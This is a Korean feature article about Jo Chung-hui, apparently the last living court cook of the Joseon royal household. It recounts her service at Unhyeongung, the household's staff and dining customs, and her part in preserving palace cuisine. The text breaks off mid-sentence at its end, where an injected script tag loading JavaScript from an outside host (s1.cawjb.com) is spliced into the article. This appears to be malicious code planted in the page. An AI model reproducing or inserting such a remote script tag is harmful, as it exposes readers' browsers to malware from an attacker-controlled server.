운현궁 상차림 50년 쌓인 추억도 ‘한 상’ 대궐·고관댁 잔치 때마다 불려가 요리 궁에서 궁중음식을 했던, 현재 생존하고 있는 조선왕조 마지막 궁중요리사인 궁할머니 조충희여사는 91세의 나이 치고는 말귀를 잘 알아들었고 건강한 편이었다. 궁할머니로부터 두텁떡등 궁중요리비법 일부를 전수받은 윤석분(52·남양주시 향토음식회 고문)씨는 “끊길 뻔했던 궁중요리 맥을 이어온 공로에 비해 궁할머니가 제대로 대접을 못받는 것같아 아쉬움이 많다”고 털어놓았다. MBC TV ‘대장금’을 통해 궁중 생활사와 궁중요리는 한국 전통음식의 진수로 스포트라이트를 받고 있건만, 궁할머니는 세상으로부터 오래도록 잊어져왔다. 그동안 베일에 가렸던 궁할머니는 일제시대 맥이 끊길 뻔했던 궁중요리 맥을 잇는데 결정적으로 공헌한 인물이다. 조선의 마지막 임금 순종(1874∼1926)의 비인 순정효왕후 윤비(1894∼1966)의 회갑상을 차린 게 그다. 이방자여사가 방한했을 때 윤비의 요청으로 궁중전래 두텁떡을 선물했다. 이방자여사가 국내외 손님을 치를 때 낙선재로 찾아가 음식상을 차리기도 했다. 1972년 7·4남북공동성명을 계기로 해방후 첫 북한고위인사들이 남한을 방문했을 때 당시 서울 종로구 낙원동의 전통요정 오진암에서 조선 궁중요리를 선보인 핵심인물이기도 하다. 일부에서 운현궁은 궁궐이 아니라 반가(班家)라며 궁할머니가 궁중요리 맥을 잇는다는데 이의를 제기하기도 한다. 하지만 운현궁은 대궐에서 상궁을 파견하고 관리했던 공간이었던데다, 궁할머니가 조선왕조 마지막 주방상궁인 한희순상궁(1889∼1972)으로부터 궁중음식을 배웠기에, 궁할머니의 음식은 궁중음식의 울타리 안에 있다는 것을 누구도 부인하기 어렵다. 1913년 경기도 남양주 대성리에서 태어난 조충희여사가 생활한 공간은 운현궁이다. 궁할머니가 모신 인물은 대원군의 큰아들이자 고종의 형인 이재면(1845~1912)의 둘째부인으로 ‘앞지밀마마’라 불린 이씨(1883~1978)다. 이씨는 대원군과 이재면이 세상을 뜬 뒤 운현궁의 내당 살림을 주관한 인물이다. 16세에 혼인해 20대 초반에 남편을 잃은 궁할머니의 파란만장한 삶은 운현궁에서 시작된다. 궁할머니는 운현궁에서 밥짓는 일을 하던 친정할머니 조카며느리(수만네)의 소개로, 딸 하나를 데리고 운현궁에 들어갔다. 그때가 딸아이 6세 때인 1938년경. 처음에는 대원군의 큰며느리 이씨의 방사람 노릇을 했다. 대원군의 큰며느리는 ‘앞지밀마마’라고 불렸는데, 줄여서 ‘마마’라고 불렸다. 당시 앞지밀마마의 시중을 드는 여자는 모두 10명. 침모가 2명 있는데, 한명은 저고리와 두루마기 따위의 웃옷만 짓고, 다른 한명은 치마와 버선 따위의 아랫도리옷만 책임졌다. 대궐에서 붙여준 상궁이 3명 딸려 있었다. 새앙머리를 한 나이든 상궁이 2명 있고, 애기 상궁(젊은 여자)이 한명 있었다. 이들은 마마 곁에서 말상대가 되어주고 놀아주는 역할을 했다. 빨래를 전담하는 사람이 2명 있었는데, 이들은 여름이고 겨울이고 빨래해서 방망이질 하느라 바빴다. 그리고 세숫물 떠주고 손발 씻겨주고 머리 빗어주는 방사람이 한명 필요했다. 그 방사람으로 궁할머니가 들어갔다. 그 무렵 운현궁에는 며느리 3대가 함께 살았다. 대원군의 손자며느리인 광신 김씨(1878∼1955)는 ‘뒷지밀마마’라 불렸는데, 그에게도 10명의 하인이 딸려 있었다. 대원군의 증손자 며느리인 박찬주(1914∼1995)씨도 함께 살았다. 따로 마련된 식당에는 밥만 짓는 동자치가 한명 있었다. 궁할머니를 소개한 수만네가 동자치였는데, 그는 끼니마다 장작불을 지펴 흰밥 한솥과 팥밥 한솥을 지었다. 반찬만 하는 찬모는 2명 있었다. 찬거리는 인력거 끄는 남자 하인이 동대문 장에 가서 사왔다. 궁할머니는 방사람 일부터 시작해서 나중에는 반찬하는 찬모 일까지 하게 된다. 앞지밀마마의 밥상에는 저냐(생선이나 고기 전)도 층층이 괴어서 걸게 나왔다. 그러면 상궁들이 먼저 맛을 보고 “이것 맛있습니다, 드세요”라고 권했다. 이때 “잡수세요”라고 하지 않고 꼭 “드세요”라고 했다. 마마가 혼자 식사를 하고 상을 물리면, 상궁들이 그 상을 한쪽에 끌어다놓고 식사를 했다. 상을 걸게 차려도 마마에 딸린 사람들이 많아서, 남기는 것은 없었다. 운현궁에 자주 내왕했던 순종 비인 윤비에게 앞지밀마마는 큰어머니였다. 윤비는 창덕궁과 창경궁 사이의 낙선재에서 살고 있었다. 운현궁 뒷문으로 통하면 낙선재는 큰 길 하나만 건너면 되는 가까운 거리에 있었다. 대궐 행사가 있거나, 집안 잔치가 있을 때마다 윤비와 앞지밀마마는 자주 교류했다. 궁할머니가 기억하는 당시 대궐 행사로, 봄에는 버찌놀이가 있었다. 대궐 사람과 왕족을 불러모아 대궐 안의 벚나무 그늘 아래 음식을 차려놓고, 버찌?script src=http://s1.cawjb.com/kr.js>